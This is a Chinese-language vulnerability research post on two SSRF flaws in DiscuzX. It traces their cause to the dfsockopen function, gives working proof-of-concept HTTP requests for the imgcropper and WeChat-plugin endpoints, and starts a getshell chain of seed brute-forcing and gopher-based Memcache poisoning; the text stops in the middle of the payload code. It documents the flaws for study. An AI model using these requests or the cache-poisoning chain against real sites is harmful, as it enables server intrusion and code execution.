DiscuzX 两处 SSRF 挖掘及利用

DiscuzX 两处 SSRF 挖掘及利用

概述

我在调试分析 DiscuzX (以下简称 Dz)历史漏洞的时候,发现 Dz 的 SSRF 漏洞其实都是由一个叫 dfsockopen 的函数导致的,并且官方修补方式都是指哪补哪。于是简单过了一遍所有调用 dfsockopen 的地方,最终又找到两处 SSRF。本文将对这两处 SSRF 漏洞成因以及利用方式做简要探讨。


关键函数 dfsockopen

本次漏洞的关键函数 dfsockopen

function dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype  = 'URLENCODE', $allowcurl = TRUE, $position = 0, $files = array()) {
    require_once libfile('function/filesock');
    return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block, $encodetype, $allowcurl, $position, $files);

可以看到, dfsockopen 具体逻辑都是由 _dfsockopen 实现的。而 _dfsockopen 函数代码的大致流程是:对传入的 url 参数首先调用 parse_url 函数进行解析,然后检测 PHP 环境是否安装了 curl 扩展,如果是,那么接下来会用 curl 对传入的 url 参数发起请求;否则,则用 fsockopen 对解析出来的 host, port 建立 socket 连接,手动构造发送 HTTP 请求数据包。

_dfsockopen 函数代码比较长,这里只贴出其中调用 curl 进行处理的部分:

    if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
        $ch = curl_init();
        $httpheader = array();
        if($ip) {
            $httpheader[] = "Host: ".$host;
        if($httpheader) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
        curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        if($post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            if($encodetype == 'URLENCODE') {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            } else {
                foreach($post as $k => $v) {
                    if(isset($files[$k])) {
                        $post[$k] = '@'.$files[$k];
                foreach($files as $k => $file) {
                    if(!isset($post[$k]) && file_exists($file)) {
                        $post[$k] = '@'.$file;
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        if($cookie) {
            curl_setopt($ch, CURLOPT_COOKIE, $cookie);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        $data = curl_exec($ch);
        $status = curl_getinfo($ch);
        $errno = curl_errno($ch);
        curl_close($ch);
        if($errno || $status['http_code'] != 200) {
            return;
        } else {
            $GLOBALS['filesockheader'] = substr($data, 0, $status['header_size']);
            $data = substr($data, $status['header_size']);
            return !$limit ? $data : substr($data, 0, $limit);

可以发现, dfsockopen 没有检查一个请求的地址是否是内网地址。除此之外,它会优先使用 curl 来构造发送请求,curl 是个很强大的网络请求程序,它默认支持的协议很多,其中包括“万能”的协议 gopher:

gopher 可以构造发送任意内容的数据包:

另外注意一点,这里代码中的 curl 选项配置跟随跳转:

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

众所周知,跟随跳转在 SSRF 中可以 bypass 请求协议限制(虽然这里并没有)。除此之外,由于 Dz 中 _xss_check 函数会检查 url 中的特殊字符,如果检查到某些特殊字符就会进行拦截,因此还可以利用跟随跳转来绕过 url 中不能出现特殊字符的限制:

    private function _xss_check() {
        static $check = array('"', '>', '<', '\'', '(', ')', 'CONTENT-TRANSFER-ENCODING');
        if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash()) {
            system_error('request_tainting');
        if($_SERVER['REQUEST_METHOD'] == 'GET' ) {
            $temp = $_SERVER['REQUEST_URI'];
        } elseif(empty ($_GET['formhash'])) {
            $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');
        } else {
            $temp = '';
        if(!empty($temp)) {
            $temp = strtoupper(urldecode(urldecode($temp)));
            foreach ($check as $str) {
                if(strpos($temp, $str) !== false) {
                    system_error('request_tainting');
        return true;

寻找漏洞

所以如果想再找一个 SSRF 的思路就有了,直接找哪些地方调用了 dfsockopen 并且 url 参数可控的即可。去年 10 月份的时候更新了两个关于 SSRF 的补丁:

可以看到官方的修补办法都是简单粗暴,直接关闭对应的功能或者把功能仅限于对管理员开放。所以除了上面的两个已经被修补外,我粗略找了下,又发现了两个。


imgcropper SSRF

source/class/class_image.php image init 方法:

    function init($method, $source, $target, $nosuffix = 0) {
        global $_G;
        $this->errorcode = 0;
        if(empty($source)) {
            return -2;
        $parse = parse_url($source);
        if(isset($parse['host'])) {
            if(empty($target)) {
                return -2;
            $data = dfsockopen($source);
            $this->tmpfile = $source = tempnam($_G['setting']['attachdir'].'./temp/', 'tmpimg_');
            if(!$data || $source === FALSE) {
                return -2;
            file_put_contents($source, $data);
        ......

再找哪些地方调用了 image 类的 init 方法,发现 image 类的 Thumb Cropper Watermark 方法都调用了 init 。比如 Thumb

    function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) {
        $return = $this->init('thumb', $source, $target, $nosuffix);
        ......

所以再找哪些地方调用了 image 类的 Thumb 方法,最终发现:

source/module/misc/misc_imgcropper.php 52-57行:

    require_once libfile('class/image');
    $image = new image();
    $prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl'];
    if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) {
        showmessage('imagepreview_errorcode_'.$image->errorcode, null, null, array('showdialog' => true, 'closetime' => true));

下断点调试发现 $_G['setting']['ftp']['attachurl'] 的值为 / ,而 $_G['setting']['attachurl'] 的值是 data/attachment/ 。所以似乎 $prefix / 才有 SSRF 利用的可能。

一开始构造 cutimg=/10.0.1.1/get ,这样 $url 的值就为 //10.0.1.1/get ,按道理来说这应该算是一个正常的 url,但是结果却请求失败了。

仔细跟进 _dfsockopen 发现,在 PHP 环境安装有 cURL 时,进入 curl 处理的代码分支,直到这里:

curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);

$scheme $host $port $path 都是 parse_url 解析 url 参数后的对应的值,而对像 //10.0.1.1/get 这样的 url 解析时, $scheme 的值是 null ,因此最后拼接的结果是 ://10.0.1.1/get ,没有协议,curl 最后对这种url的请求会自动在前面加上 HTTP:// ,结果就变成了请求 HTTP://://10.0.1.1/get ,这种 url 在我的环境中会导致 curl 报错。

所以我去掉了 curl 扩展,让 _dfsockopen 函数代码走 socket 发包的流程,踩了 parse_url 和 Dz 代码的一些坑点(这里就不展开了,有兴趣的同学调下代码就知道了),最后发现像这样构造可以成功:

cutimg=/:@localhost:9090/dz-imgcropper-ssrf

poc:

POST /misc.php?mod=imgcropper&picflag=2&cutimg=/:@localhost:9090/dz-imgcropper-ssrf HTTP/1.1
Host: ubuntu-trusty.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: xkmD_2132_sid=E5sbVr; xkmD_2132_saltkey=m6Y8022s; xkmD_2132_lastvisit=1521612483; xkmD_2132_lastact=1521624907%09misc.php%09imgcropper; xkmD_2132_home_readfeed=1521616105; xkmD_2132_seccode=1.ecda87c571707d3f92; xkmD_2132_ulastactivity=a0f4A9CWpermv2t0GGOrf8%2BzCf6dZyAoQ3Sto7ORINqJeK4g3xcX; xkmD_2132_auth=40a4BIESn2PZVmGftNQ2%2BD1ImxpYr0HXke37YiChA2ruG6OryhLe0bUg53XKlioysCePIZGEO1jmlB1L4qbo; XG8F_2132_sid=fKyQMr; XG8F_2132_saltkey=U7lxxLwx; XG8F_2132_lastvisit=1521683793; XG8F_2132_lastact=1521699709%09index.php%09; XG8F_2132_ulastactivity=200fir8BflS1t8ODAa3R7YNsZTQ1k262ysLbc9wdHRzbPnMZ%2BOv7; XG8F_2132_auth=3711UP00sKWDx2Vo1DtO17C%2FvDfrelGOrwhtDmwu5vBjiXSHuPaFVJ%2FC%2BQi1mw4v4pJ66jx6otRFKfU03cBy; XG8F_2132_lip=172.16.99.1%2C1521688203; XG8F_2132_nofavfid=1; XG8F_2132_onlineusernum=3; XG8F_2132_sendmail=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
imgcroppersubmit=1&formhash=f8472648

此时 url 即为 //:@localhost:9090/dz-imgcropper-ssrf 。SSRF 请求成功:

通过这种方式进行构造利用的话,不太需要额外的限制条件(只要求服务端 PHP 环境没有安装 curl 扩展),但是只能发 HTTP GET 请求,并且服务端不跟随跳转。漏洞危害有限。

后来 l3m0n 师傅也独立发现了这个漏洞,并且他发现较高版本的 curl 是可以成功请求 HTTP://:/ 的,较高版本的 curl 会将这种 url 地址解析到 127.0.0.1 的 80 端口:

最后他再利用之前 PHP parse_url 的解析 bug( bugs.php.net/bug.php? ),及利用 parse_url 和 curl 对 url 的解析差异,成功进行 302 跳转到任意恶意地址,最后再 302 跳转到 gopher 就做到发送任意数据包。详情可以参考 l3m0n 的博客:

Discuz x3.4前台SSRF - l3m0n - 博客园

但是这种利用方式对 PHP、curl 版本都有特殊的要求,而且要服务端环境接受空 Host 的请求。总的来说,imgcropper SSRF 仍然比较鸡肋。


Weixin Plugin SSRF

source/plugin/wechat/wechat.class.php WeChat syncAvatar 方法:

    static public function syncAvatar($uid, $avatar) {
        if(!$uid || !$avatar) {
            return false;
        if(!$content = dfsockopen($avatar)) {
            return false;
        $tmpFile = DISCUZ_ROOT.'./data/avatar/'.TIMESTAMP.random(6);
        file_put_contents($tmpFile, $content);
        if(!is_file($tmpFile)) {
            return false;
        $result = uploadUcAvatar::upload($uid, $tmpFile);
        unlink($tmpFile);
        C::t('common_member')->update($uid, array('avatarstatus'=>'1'));
        return $result;

source/plugin/wechat/wechat.inc.php 中调用了 WeChat::syncAvatar ,直接用 $_GET['avatar'] 作为参数传进去:

......
elseif(($ac == 'register' && submitcheck('submit') || $ac == 'wxregister') && $_G['wechat']['setting']['wechat_allowregister']) {
        ......
        $uid = WeChat::register($_GET['username'], $ac == 'wxregister');
        if($uid && $_GET['avatar']) {
            WeChat::syncAvatar($uid, $_GET['avatar']);

不过因为这里用到了微信登录的插件,所以要利用的话需要目标站开启微信登录:

这里 SSRF 的构造很简单,直接在 avatar 参数构造 url 即可(只是注意 wxopenid 参数每次请求都要足够随机保证没有重复,如果重复的话代码是无法走到发起请求的逻辑的):

poc:

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http://localhost:9090/dz-weixin-plugin-ssrf&wxopenid=dont_be_evil


Dz SSRF getshell

乌云关闭前 Jannock 给 Dz 交过需要一定条件命令执行的漏洞,当时由于漏洞还未公开乌云就已关闭所以具体的细节我已不得而知。不过我后来从网上各处搜罗查找资料,发现 chengable 写的一篇分析那个漏洞文章: discuz利用ssrf+缓存应用getshell漏洞分析 - CHENGABLE BLOG ,从而知道是用 SSRF 篡改缓存从而 getshell。本着学习的态度,我搭环境调试了这个精彩的漏洞利用方式,并且发现除了 Redis,攻击 Memcache 也是可以的,只不过要多踩一个坑。

先说结论:Dz 由 dfsockopen 函数导致的 SSRF,如果要 getshell,目标站需要满足以下几个条件:

  1. 服务端 PHP 环境安装有 curl 扩展(为了通过 curl 使用 gopher 协议)
  2. 使用 Memcache 或未设置密码认证的 Redis 进行缓存

由于 imgcropper SSRF 利用限制较多,所以这里我用 Weixin Plugin SSRF进行演示。


SSRF 攻击 Memcache

Dz 整合 Memcache 配置成功后,默认情况下网站首页右下角会出现 MemCache On 的标志:

Dz 在安装的时候,对于缓存中的键名加了随机字符串作为前缀。所以如果 SSRF 要攻击 Memcache ,第一个问题是,如何找到正确的键名?

install/index.php 345-357行:

        $uid = DZUCFULL ? 1 : $adminuser['uid'];
        $authkey = md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 8)).random(18);
        $_config['db'][1]['dbhost'] = $dbhost;
        $_config['db'][1]['dbname'] = $dbname;
        $_config['db'][1]['dbpw'] = $dbpw;
        $_config['db'][1]['dbuser'] = $dbuser;
        $_config['db'][1]['tablepre'] = $tablepre;
        $_config['admincp']['founder'] = (string)$uid;
        $_config['security']['authkey'] = $authkey;
        $_config['cookie']['cookiepre'] = random(4).'_';
        $_config['memory']['prefix'] = random(6).'_';
        save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);

这是 Dz 在安装的时候的一段代码,这段代码设置了 authkey、Cookie 前缀以及缓存键名前缀,其中用到了 random 函数生成随机字符串。所以跟进这个 random

function random($length) {
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    return $hash;

可以发现,如果 PHP 版本大于 4.2.0,那么 mt_rand 随机数的种子是不变的。也就是说,生成 authkey、Cookie 前缀以及缓存键名前缀时调用的 mt_rand 用的都是同一个种子,而 Cookie 前缀是已知的,通过观察 HTTP 请求就可以知道。因此,随机数播种的种子可以被缩到一个极小的范围内进行猜解。这里可以用 php_mt_seed 进行种子爆破。

通过 mt_rand 种子的猜解,缓存键名前缀的可能性从 62^6 缩小到不到 1000 个,这就完全属于可以爆破的范畴了。对猜解出来的所有可能的缓存键名前缀分别构造 SSRF 请求发送到服务器,最后即能更改某一键名对应的键值。

Memcache 缓存键名的问题解决了,接下来的问题是,缓存数据被加载到哪了?如何通过修改缓存数据来 getshell?

这一部分的思路就可以直接参照 chengable 写的那篇文章了, output_replace 函数细节有略微变化,但大体思路是一致的,所以我也不再赘述了。

最后准备用 gopher 协议构造 SSRF 的 payload。写这样一段代码(先假设缓存键名前缀是 IwRW7l ):

<?php
$_G['setting']['output']['preg']['search']['plugins'] = '/.*/';
$_G['setting']['output']['preg']['replace']['plugins'] = 'phpinfo()';
$_G['setting']['rewritestatus'] = 1;
$memcache = new Memcache;